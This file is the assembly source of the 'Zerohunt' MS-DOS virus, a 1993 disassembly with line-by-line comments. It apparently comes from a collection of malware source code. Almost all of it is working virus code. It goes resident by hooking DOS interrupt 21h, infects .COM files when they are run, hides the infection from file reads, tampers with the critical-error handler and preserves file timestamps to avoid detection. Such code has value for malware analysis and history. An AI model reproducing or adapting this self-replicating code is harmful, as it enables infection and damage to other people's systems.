MalwareSourceCode/MSDOS/Z-Index/Virus.MSDOS.Unknown.zerohunt.asm

271 lines
12 KiB
NASM
Raw Normal View History

2022-08-21 09:07:57 +00:00
CSEG SEGMENT
ASSUME CS:CSEG, ES:CSEG, SS:CSEG
org 100h
; Zerohunt virus
; Disassembly by PRiEST
; 4-15-93
CMC_JMP equ 0e9f5h ;This is the virus's signature
;which is located at the beginning
;of infected files, it consist of
;a CMC and a JMP
Mem_Loc equ 21ch ;offset of virus in memory
Zero_Size equ offset Zero_End-offset Zero_Start ;Size of virus
Zero_File_Size equ offset Zero_File_End-offset Zero_Start ;Size of virus in
;file
IVT_21 equ 21h*4h ;offset of Int 21h in IVT
IVT_24 equ 24h*4h ;offset of Int 24h in IVT
Mem_Size equ 413h ;offset of Memory size in BIOS area
Zerohunt: jmp Zero_Start ;Dummy code
nop
org 21ch ;set new origin
Zero_Start: call $+3 ;Push IP
pop si ;pop IP into SI
mov es,ax ;ES = segemnt zero
mov di,Mem_Loc ;Offset of memory resident code
cmp byte ptr es:[di],0e8h ;This instructions checks to see
;if the virus is already in memory
;by looking for the call at
;Zero_Start in the IVT
je Jump_File ;return control to file if in memory
mov cx,Zero_Size ;size of virus
sub si,3h ;Find offset of Zero_Start
rep movsb ;copy us to IVT
push es
pop ds ;DS = 0
mov bx,IVT_21 ;offset of Interrupt 21 in the IVT
les si,ds:[bx] ;Get seg:off of Int 21h
mov word ptr ds:[bx],offset Zero_21 ;Point Int 21h to us
mov word ptr ds:[bx+2h],ax ;point Int 21h to segment 0
mov word ptr ds:[Old_21+2h],es ;Save Int 21h
mov word ptr ds:[Old_21],si ;Save Int 21h
mov al,40h ;40h k
mov bx,ds:[Mem_Size] ;Get amount of memory in k's
sub bx,ax ;subtract 40h to get segment of mem
mul bx ;find address of free memory
mov word ptr ds:[High_Mem],ax ;Save segment address
xor ax,ax ;Zero out AX
Jump_File: push cs
push cs
pop ds ;Restore DS and ES
pop es
;Self-modifying code that restores the first 4 bytes of an infected .com
;file. The Jump_Data defines where to jump when the virus is done, this
;is because it only infects files that have a JMP (0e9h) as the first
;instruction, any other file gets ignored.
db 0c7h,6,0,1 ;mov word ptr ds:[100h],
File_Data dw 20cdh ;quit to DOS
db 0c7h,6,2,1 ;mov word ptr ds:[102h],
File_Data_2 dw 9090h ;NOPs
db 0e9h ;Jump
;This is where the infected program originally jumped to, right now it's
;set back to the beginning so that it will terminate to DOS.
Jump_Data dw 0-(offset Jump_Data_End-offset Zero_Start)
Jump_Data_End: ;used to find offset of Zero_Start
Random_Read: pushf ;Keep stack in order when IRET
push cs ;return to this segment
call Jump_21 ;Call DOS to read file
pushf
push ax
push es
push bx
push ds ;save registers
mov ah,2fh ;Get address of DTA into ES:BX
int 21h
push es
pop ds ;DTA segment in DS
cmp word ptr ds:[bx],CMC_JMP ;Is this file infected?
jne Skip_Block_Clean
call Stealth ;Hide virus
Skip_Block_Clean:pop ds
pop bx
pop es
pop ax ;Pop registers
jmp Fix_Flags_Ret ;Fix flags and return
Handle_Read: pushf ;Keep stack right
push cs ;return to this segment
call Jump_21
pushf ;Save flags
jb Fix_Flags_Ret
xchg dx,bx ;Address of data read into BX
cmp word ptr ds:[bx],CMC_JMP ;File infected?
jne Fix_Flags_DX
cmp word ptr ds:[bx+2h],ax ;is it valid (? I guess)
jnb Fix_Flags_DX
call Stealth ;Hide virus
Fix_Flags_DX: xchg dx,bx ;restore registers
Fix_Flags_Ret: popf ;POP flags
push bp
push ax ;Save registers
pushf
pop ax ;tranfer flags to ax
mov bp,sp ;get stack frame
mov ss:[bp+8h],ax ;Save flags directly into stack
pop ax
pop bp ;POP registers
iret
Stealth: push si ;Save register
mov si,bx ;Where code was read to
add si,ds:[bx+2h] ;Where virus is in program
push word ptr ds:[si+File_Data-Zero_Start] ;original bytes
pop word ptr ds:[bx] ;restore them
push word ptr ds:[si+File_Data_2-Zero_Start] ;original bytes
pop word ptr ds:[bx+2h] ;restore them too
add si,4h ;fix for jump
push ax
push cx ;save registers
mov cx,Zero_Size ;Size of virus
xor al,al ;Zero out AL
Stealth_Loop: mov byte ptr ds:[si],al ;Remove virus from file
inc si
loop Stealth_Loop
pop cx
pop ax
pop si ;Pop registers
retn
Zero_21: cmp ah,21h ;Random read?
je Random_Read
cmp ah,27h ;Random Block read?
je Random_Read
cmp ah,3fh ;Handle read?
je Handle_Read
cmp ax,4b00h ;Execute program?
je Infect
jmp Jump_21 ;Jump to original Int 21h
Infect: push es ;save registers
push ax
push bx
push dx
push ds
mov ax,3d02h ;open file for writing
int 21h
xchg ax,bx ;handle into BX
mov ah,3fh ;read from file
xor cx,cx ;Zero CX
mov ds,cx ;zero into DS
inc cx ;read one byte
mov dx,offset Buffer ;read to variable "buffer"
mov si,dx ;same into SI
pushf ;Keep stack straight after IRET
push cs ;Push CS for Far return
call Jump_21 ;Call original Interrupt 21
cmp byte ptr ds:[si],0e9h ;Is the first instruction a jump?
je File_Has_Jump
jmp Close_File ;File is not valid, close and quit
File_Has_Jump: mov ax,4200h ;Set position from start of file
dec cx ;CX now equals 0
xor dx,dx ;DX also equals 0
int 21h ;set file position to start of file
pop ds
pop dx ;POP location of file name
push dx
push ds ;PUSH them back
push bx ;Save file handle number
push cs
pop es ;Set ES to our CS
mov bx,offset High_Mem ;offset of variable High_Mem
mov ax,4b03h ;Load file
int 21h
mov ds,es:[bx] ;Get address of High memory
mov cx,Zero_File_Size ;size of virus in File
mov dx,cx ;same into DX
mov bx,ds:[1h] ;Get jump address
mov bp,bx ;I don't recall BP being saved!!!
xor al,al ;zero out AL
Search_Loop: dec bx ;decrement pointer
pop di ;Pop handle
je Close_File_DI
push di ;Save handle again
cmp byte ptr ds:[bx],al ;search for zeros
je Search_Looper
mov cx,dx ;reset counter
Search_Looper: loop Search_Loop ;Scan for size of virus
mov di,bp ;Get jump address of file
sub di,bx ;minus location of zeros
sub di,offset Jump_Data_End-offset Zero_Start ;Make jump
mov word ptr cs:[Jump_Data],di ;Save original jump address
push word ptr ds:[0] ;save original bytes
pop word ptr cs:[File_Data] ;Into our own code
push word ptr ds:[2h] ;again with bytes 3 and 4
pop word ptr cs:[File_Data_2]
mov si,Mem_Loc ;location of virus in memory
mov cx,dx ;Size of virus in file
dec cx ;Size of virus
push ds
pop es ;ES = segment of free memory
push cs
pop ds ;DS = our segment
mov di,bx ;offset of free space in file
rep movsb ;copy virus into file (I gather)
sub bx,4h ;subtract for jump to virus
mov word ptr es:[2h],bx ;Fix jump
mov word ptr es:[0],CMC_JMP ;CMC, then JMP
mov di,0cfcfh
lds si,ds:[IVT_24] ;fetch address of Int 24h
xchg di,ds:[si] ;what the hey!? Computer should
;crash if Int 24h is triggered!
pop bx ;POP handle number
mov ax,5700h ;Get date
int 21h
push cx
push dx ;save original date/time of file
push es
pop ds ;DS = segment of free memory
mov ah,40h
mov cx,bp ;size of virus
xor dx,dx
int 21h ;write to file, I guess the virus
pop dx
pop cx ;POP the date/time
mov ax,5701h ;restore date/time to file
int 21h
xchg di,bx ;dummy exchange if infection ok
Close_File_DI: xchg di,bx ;retore handle from DI for closing
Close_File: mov ah,3eh ;close file
int 21h
lds si,cs:[IVT_24] ;Get Int 24h address from IVT
cmp byte ptr ds:[si],0cfh ;Is it to us?
jne No_24_Restore ;I know, they're Shitty labels
xchg di,ds:[si] ;restore Int 24h
No_24_Restore: pop ds
pop dx
pop bx
pop ax
pop es ;Pop all registers
Jump_21: db 0eah ;jmp seg:off
Old_21 dd ? ;segment offset of Int 21h
Buffer db ?
Zero_End:
High_Mem dw ? ;Segment of availible memory
Zero_File_End:
CSEG ENDS
END Zerohunt